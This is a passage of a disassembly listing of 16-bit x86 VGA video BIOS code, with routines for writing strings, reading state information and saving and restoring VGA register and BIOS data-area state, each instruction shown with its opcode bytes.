a0 mov es, ax ; 8e c0 cld ; fc jcxz 0288bh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f inc bx ; 43 jmp short 02860h ; eb d2 call 025dah ; e8 49 fd cmp byte [bp-00ah], 010h ; 80 7e f6 10 jc short 0289dh ; 72 06 mov ax, strict word 00010h ; b8 10 00 call 02616h ; e8 79 fd lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_load_gfx_8_8_chars_: ; 0xc28a6 LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_load_gfx_user_chars_: ; 0xc28ab LB 0x7 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn 00002h ; c2 02 00 biosfn_load_gfx_8_14_chars_: ; 0xc28b2 LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_load_gfx_8_8_dd_chars_: ; 0xc28b7 LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_load_gfx_8_16_chars_: ; 0xc28bc LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_alternate_prtsc_: ; 0xc28c1 LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_switch_video_interface_: ; 0xc28c6 LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_enable_video_refresh_control_: ; 0xc28cb LB 0x5 push bp ; 55 mov bp, sp ; 89 e5 pop bp ; 5d retn ; c3 biosfn_write_string_: ; 0xc28d0 LB 0xa2 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0000ah ; 83 ec 0a mov byte [bp-006h], al ; 88 46 fa mov byte [bp-00ah], dl ; 88 56 f6 mov byte [bp-008h], bl ; 88 5e f8 mov si, cx ; 89 ce mov di, word [bp+00ah] ; 8b 7e 0a mov al, dl ; 88 d0 xor ah, ah ; 30 e4 lea bx, [bp-00eh] ; 8d 5e f2 lea dx, [bp-00ch] ; 8d 56 f4 call 00a8bh ; e8 98 e1 cmp byte [bp+004h], 0ffh ; 80 7e 04 ff jne short 0290ah ; 75 11 mov al, byte [bp-00eh] ; 8a 46 f2 mov byte [bp+006h], al ; 88 46 06 mov ax, word [bp-00eh] ; 8b 46 f2 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov byte [bp+004h], al ; 88 46 04 mov dl, byte [bp+004h] ; 8a 56 04 xor dh, dh ; 30 f6 sal dx, 008h ; c1 e2 08 mov al, byte [bp+006h] ; 8a 46 06 xor ah, ah ; 30 e4 add dx, ax ; 01 c2 mov al, byte [bp-00ah] ; 8a 46 f6 call 00e79h ; e8 5a e5 dec si ; 4e cmp si, strict byte 0ffffh ; 83 fe ff je short 02958h ; 74 33 mov dx, di ; 89 fa inc di ; 47 mov ax, word [bp+008h] ; 8b 46 08 call 03188h ; e8 5a 08 mov cl, al ; 88 c1 test byte [bp-006h], 002h ; f6 46 fa 02 je short 02942h ; 74 0c mov dx, di ; 89 fa inc di ; 47 mov ax, word [bp+008h] ; 8b 46 08 call 03188h ; e8 49 08 mov byte [bp-008h], al ; 88 46 f8 mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, ax ; 89 c2 mov al, cl ; 88 c8 mov cx, strict word 00003h ; b9 03 00 call 0233fh ; e8 e9 f9 jmp short 0291fh ; eb c7 test byte [bp-006h], 001h ; f6 46 fa 01 jne short 02969h ; 75 0b mov dx, word [bp-00eh] ; 8b 56 f2 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 call 00e79h ; e8 10 e5 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00008h ; c2 08 00 biosfn_read_state_info_: ; 0xc2972 LB 0x102 push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 push di ; 57 push dx ; 52 push bx ; 53 mov cx, ds ; 8c d9 mov bx, 05383h ; bb 83 53 mov dx, word [bp-00ah] ; 8b 56 f6 mov ax, word [bp-008h] ; 8b 46 f8 call 031d2h ; e8 4a 08 mov di, word [bp-00ah] ; 8b 7e f6 add di, strict byte 00004h ; 83 c7 04 mov cx, strict word 0001eh ; b9 1e 00 mov si, strict word 00049h ; be 49 00 mov dx, strict word 00040h ; ba 40 00 mov es, [bp-008h] ; 8e 46 f8 cld ; fc jcxz 029a3h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f mov di, word [bp-00ah] ; 8b 7e f6 add di, strict byte 00022h ; 83 c7 22 mov cx, strict word 00003h ; b9 03 00 mov si, 00084h ; be 84 00 mov dx, strict word 00040h ; ba 40 00 mov es, [bp-008h] ; 8e 46 f8 cld ; fc jcxz 029beh ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsb ; f3 a4 pop DS ; 1f mov dx, 0008ah ; ba 8a 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 c1 07 mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00025h ; 83 c2 25 mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 bf 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00026h ; 83 c2 26 xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 b1 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00027h ; 83 c2 27 mov bx, strict word 00010h ; bb 10 00 mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 a2 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00028h ; 83 c2 28 xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 94 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00029h ; 83 c2 29 mov bx, strict word 00008h ; bb 08 00 mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 85 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 0002ah ; 83 c2 2a mov bx, strict word 00002h ; bb 02 00 mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 76 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 0002bh ; 83 c2 2b xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 68 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 0002ch ; 83 c2 2c xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 5a 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00031h ; 83 c2 31 mov bx, strict word 00003h ; bb 03 00 mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 4b 07 mov dx, word [bp-00ah] ; 8b 56 f6 add dx, strict byte 00032h ; 83 c2 32 xor bx, bx ; 31 db mov ax, word [bp-008h] ; 8b 46 f8 call 03196h ; e8 3d 07 mov di, word [bp-00ah] ; 8b 7e f6 add di, strict byte 00033h ; 83 c7 33 mov cx, strict word 0000dh ; b9 0d 00 xor ax, ax ; 31 c0 mov es, [bp-008h] ; 8e 46 f8 cld ; fc jcxz 02a6ch ; e3 02 rep stosb ; f3 aa lea sp, [bp-006h] ; 8d 66 fa pop di ; 5f pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 biosfn_read_video_state_size2_: ; 0xc2a74 LB 0x23 push dx ; 52 push bp ; 55 mov bp, sp ; 89 e5 mov dx, ax ; 89 c2 xor ax, ax ; 31 c0 test dl, 001h ; f6 c2 01 je short 02a84h ; 74 03 mov ax, strict word 00046h ; b8 46 00 test dl, 002h ; f6 c2 02 je short 02a8ch ; 74 03 add ax, strict word 0002ah ; 05 2a 00 test dl, 004h ; f6 c2 04 je short 02a94h ; 74 03 add ax, 00304h ; 05 04 03 pop bp ; 5d pop dx ; 5a retn ; c3 vga_get_video_state_size_: ; 0xc2a97 LB 0x12 push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 mov bx, dx ; 89 d3 call 02a74h ; e8 d4 ff mov word [ss:bx], ax ; 36 89 07 lea sp, [bp-002h] ; 8d 66 fe pop bx ; 5b pop bp ; 5d retn ; c3 biosfn_save_video_state_: ; 0xc2aa9 LB 0x381 push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 push ax ; 50 push ax ; 50 mov si, dx ; 89 d6 mov cx, bx ; 89 d9 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 e5 06 mov di, ax ; 89 c7 test byte [bp-00ch], 001h ; f6 46 f4 01 je short 02b35h ; 74 6e mov dx, 003c4h ; ba c4 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 be 06 inc cx ; 41 mov dx, di ; 89 fa in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 ad 06 inc cx ; 41 mov dx, 003ceh ; ba ce 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 9b 06 inc cx ; 41 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov dx, 003c0h ; ba c0 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-008h], ax ; 89 46 f8 mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 7d 06 inc cx ; 41 mov dx, 003cah ; ba ca 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 6b 06 mov ax, strict word 00001h ; b8 01 00 mov word [bp-00ah], ax ; 89 46 f6 add cx, ax ; 01 c1 jmp short 02b3eh ; eb 09 jmp near 02c39h ; e9 01 01 cmp word [bp-00ah], strict byte 00004h ; 83 7e f6 04 jnbe short 02b5ch ; 77 1e mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, 003c5h ; ba c5 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 40 06 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02b38h ; eb dc xor al, al ; 30 c0 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, 003c5h ; ba c5 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 23 06 mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 inc cx ; 41 jmp short 02b81h ; eb 06 cmp word [bp-00ah], strict byte 00018h ; 83 7e f6 18 jnbe short 02b9eh ; 77 1d mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, di ; 89 fa out DX, AL ; ee lea dx, [di+001h] ; 8d 55 01 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 fe 05 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02b7bh ; eb dd mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 jmp short 02babh ; eb 06 cmp word [bp-00ah], strict byte 00013h ; 83 7e f6 13 jnbe short 02bd5h ; 77 2a mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov ax, word [bp-008h] ; 8b 46 f8 and ax, strict word 00020h ; 25 20 00 or ax, word [bp-00ah] ; 0b 46 f6 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov dx, 003c1h ; ba c1 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 c7 05 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02ba5h ; eb d0 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 jmp short 02be8h ; eb 06 cmp word [bp-00ah], strict byte 00008h ; 83 7e f6 08 jnbe short 02c06h ; 77 1e mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, 003ceh ; ba ce 03 out DX, AL ; ee mov dx, 003cfh ; ba cf 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 96 05 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02be2h ; eb dc mov bx, di ; 89 fb mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 a3 05 inc cx ; 41 inc cx ; 41 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 7c 05 inc cx ; 41 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 72 05 inc cx ; 41 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 68 05 inc cx ; 41 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 5e 05 inc cx ; 41 test byte [bp-00ch], 002h ; f6 46 f4 02 jne short 02c42h ; 75 03 jmp near 02dafh ; e9 6d 01 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 3d 05 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 40 05 inc cx ; 41 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 44 05 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 49 05 inc cx ; 41 inc cx ; 41 mov dx, strict word 0004ch ; ba 4c 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 30 05 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 35 05 inc cx ; 41 inc cx ; 41 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 1c 05 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 21 05 inc cx ; 41 inc cx ; 41 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 ec 04 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 ef 04 inc cx ; 41 mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 f3 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 f8 04 inc cx ; 41 inc cx ; 41 mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 c3 04 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 c6 04 inc cx ; 41 mov dx, 00088h ; ba 88 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 ae 04 mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 b1 04 inc cx ; 41 mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 99 04 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 9c 04 inc cx ; 41 mov dx, strict word 00060h ; ba 60 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 a0 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 a5 04 mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 inc cx ; 41 inc cx ; 41 jmp short 02d1ch ; eb 06 cmp word [bp-00ah], strict byte 00008h ; 83 7e f6 08 jnc short 02d3ah ; 73 1e mov dx, word [bp-00ah] ; 8b 56 f6 add dx, dx ; 01 d2 add dx, strict byte 00050h ; 83 c2 50 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 7a 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 7f 04 inc cx ; 41 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02d16h ; eb dc mov dx, strict word 0004eh ; ba 4e 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 61 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 66 04 inc cx ; 41 inc cx ; 41 mov dx, strict word 00062h ; ba 62 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 31 04 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 34 04 inc cx ; 41 mov dx, strict word 0007ch ; ba 7c 00 xor ax, ax ; 31 c0 call 031a4h ; e8 39 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 3e 04 inc cx ; 41 inc cx ; 41 mov dx, strict word 0007eh ; ba 7e 00 xor ax, ax ; 31 c0 call 031a4h ; e8 26 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 2b 04 inc cx ; 41 inc cx ; 41 mov dx, 0010ch ; ba 0c 01 xor ax, ax ; 31 c0 call 031a4h ; e8 13 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 18 04 inc cx ; 41 inc cx ; 41 mov dx, 0010eh ; ba 0e 01 xor ax, ax ; 31 c0 call 031a4h ; e8 00 04 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031b2h ; e8 05 04 inc cx ; 41 inc cx ; 41 test byte [bp-00ch], 004h ; f6 46 f4 04 je short 02e20h ; 74 6b mov dx, 003c7h ; ba c7 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 d0 03 inc cx ; 41 mov dx, 003c8h ; ba c8 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 be 03 inc cx ; 41 mov dx, 003c6h ; ba c6 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 ac 03 inc cx ; 41 xor al, al ; 30 c0 mov dx, 003c8h ; ba c8 03 out DX, AL ; ee xor ah, ah ; 30 e4 mov word [bp-00ah], ax ; 89 46 f6 jmp short 02dffh ; eb 07 cmp word [bp-00ah], 00300h ; 81 7e f6 00 03 jnc short 02e16h ; 73 17 mov dx, 003c9h ; ba c9 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 86 03 inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02df8h ; eb e2 xor bx, bx ; 31 db mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03196h ; e8 77 03 inc cx ; 41 mov ax, cx ; 89 c8 lea sp, [bp-006h] ; 8d 66 fa pop di ; 5f pop si ; 5e pop cx ; 59 pop bp ; 5d retn ; c3 biosfn_restore_video_state_: ; 0xc2e2a LB 0x336 push bp ; 55 mov bp, sp ; 89 e5 push cx ; 51 push si ; 56 push di ; 57 sub sp, strict byte 00006h ; 83 ec 06 push ax ; 50 mov si, dx ; 89 d6 mov cx, bx ; 89 d9 test byte [bp-00eh], 001h ; f6 46 f2 01 je short 02e95h ; 74 57 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 lea dx, [bx+040h] ; 8d 57 40 mov ax, si ; 89 f0 call 031a4h ; e8 58 03 mov di, ax ; 89 c7 mov word [bp-00ah], strict word 00001h ; c7 46 f6 01 00 lea cx, [bx+005h] ; 8d 4f 05 jmp short 02e5eh ; eb 06 cmp word [bp-00ah], strict byte 00004h ; 83 7e f6 04 jnbe short 02e76h ; 77 18 mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 1c 03 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02e58h ; eb e2 xor al, al ; 30 c0 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 05 03 mov dx, 003c5h ; ba c5 03 out DX, AL ; ee inc cx ; 41 mov ax, strict word 00011h ; b8 11 00 mov dx, di ; 89 fa out DX, ax ; ef mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 jmp short 02e9eh ; eb 09 jmp near 02f8bh ; e9 f3 00 cmp word [bp-00ah], strict byte 00018h ; 83 7e f6 18 jnbe short 02ebbh ; 77 1d cmp word [bp-00ah], strict byte 00011h ; 83 7e f6 11 je short 02eb5h ; 74 11 mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, di ; 89 fa out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 d7 02 lea dx, [di+001h] ; 8d 55 01 out DX, AL ; ee inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02e98h ; eb dd mov dx, 003cch ; ba cc 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 and AL, strict byte 0feh ; 24 fe mov word [bp-008h], ax ; 89 46 f8 cmp di, 003d4h ; 81 ff d4 03 jne short 02ed0h ; 75 04 or byte [bp-008h], 001h ; 80 4e f8 01 mov al, byte [bp-008h] ; 8a 46 f8 mov dx, 003c2h ; ba c2 03 out DX, AL ; ee mov AL, strict byte 011h ; b0 11 mov dx, di ; 89 fa out DX, AL ; ee mov dx, cx ; 89 ca add dx, strict byte 0fff9h ; 83 c2 f9 mov ax, si ; 89 f0 call 03188h ; e8 a2 02 lea dx, [di+001h] ; 8d 55 01 out DX, AL ; ee lea dx, [bx+003h] ; 8d 57 03 mov ax, si ; 89 f0 call 03188h ; e8 96 02 xor ah, ah ; 30 e4 mov word [bp-00ch], ax ; 89 46 f4 mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 jmp short 02f0ah ; eb 06 cmp word [bp-00ah], strict byte 00013h ; 83 7e f6 13 jnbe short 02f28h ; 77 1e mov ax, word [bp-00ch] ; 8b 46 f4 and ax, strict word 00020h ; 25 20 00 or ax, word [bp-00ah] ; 0b 46 f6 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 6a 02 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02f04h ; eb dc mov al, byte [bp-00ch] ; 8a 46 f4 mov dx, 003c0h ; ba c0 03 out DX, AL ; ee mov dx, 003dah ; ba da 03 in AL, DX ; ec db 02ah, 0e4h ; sub ah, ah ; 2a e4 mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 jmp short 02f42h ; eb 06 cmp word [bp-00ah], strict byte 00008h ; 83 7e f6 08 jnbe short 02f5ah ; 77 18 mov al, byte [bp-00ah] ; 8a 46 f6 mov dx, 003ceh ; ba ce 03 out DX, AL ; ee mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 38 02 mov dx, 003cfh ; ba cf 03 out DX, AL ; ee inc cx ; 41 inc word [bp-00ah] ; ff 46 f6 jmp short 02f3ch ; eb e2 add cx, strict byte 00006h ; 83 c1 06 mov dx, bx ; 89 da mov ax, si ; 89 f0 call 03188h ; e8 24 02 mov dx, 003c4h ; ba c4 03 out DX, AL ; ee inc bx ; 43 mov dx, bx ; 89 da mov ax, si ; 89 f0 call 03188h ; e8 18 02 mov dx, di ; 89 fa out DX, AL ; ee inc bx ; 43 mov dx, bx ; 89 da mov ax, si ; 89 f0 call 03188h ; e8 0d 02 mov dx, 003ceh ; ba ce 03 out DX, AL ; ee lea dx, [bx+002h] ; 8d 57 02 mov ax, si ; 89 f0 call 03188h ; e8 01 02 lea dx, [di+006h] ; 8d 55 06 out DX, AL ; ee test byte [bp-00eh], 002h ; f6 46 f2 02 jne short 02f94h ; 75 03 jmp near 03109h ; e9 75 01 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 ed 01 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 ee 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 f4 01 mov bx, ax ; 89 c3 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 f7 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 e0 01 mov bx, ax ; 89 c3 mov dx, strict word 0004ch ; ba 4c 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 e3 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 cc 01 mov bx, ax ; 89 c3 mov dx, strict word 00063h ; ba 63 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 cf 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 9c 01 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 9d 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 a3 01 mov bx, ax ; 89 c3 mov dx, 00085h ; ba 85 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 a6 01 inc cx ; 41 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 73 01 mov dl, al ; 88 c2 xor dh, dh ; 30 f6 mov bx, dx ; 89 d3 mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 72 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 5c 01 mov dl, al ; 88 c2 xor dh, dh ; 30 f6 mov bx, dx ; 89 d3 mov dx, 00088h ; ba 88 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 5b 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 03188h ; e8 45 01 mov dl, al ; 88 c2 xor dh, dh ; 30 f6 mov bx, dx ; 89 d3 mov dx, 00089h ; ba 89 00 mov ax, strict word 00040h ; b8 40 00 call 03196h ; e8 44 01 inc cx ; 41 mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 4a 01 mov bx, ax ; 89 c3 mov dx, strict word 00060h ; ba 60 00 mov ax, strict word 00040h ; b8 40 00 call 031b2h ; e8 4d 01 mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00 inc cx ; 41 inc cx ; 41 jmp short 03074h ; eb 06 cmp word [bp-00ah], strict byte 00008h ; 83 7e f6 08 jnc short 03092h ; 73 1e mov dx, cx ; 89 ca mov ax, si ; 89 f0 call 031a4h ; e8 29 01 mov bx, ax ; 89 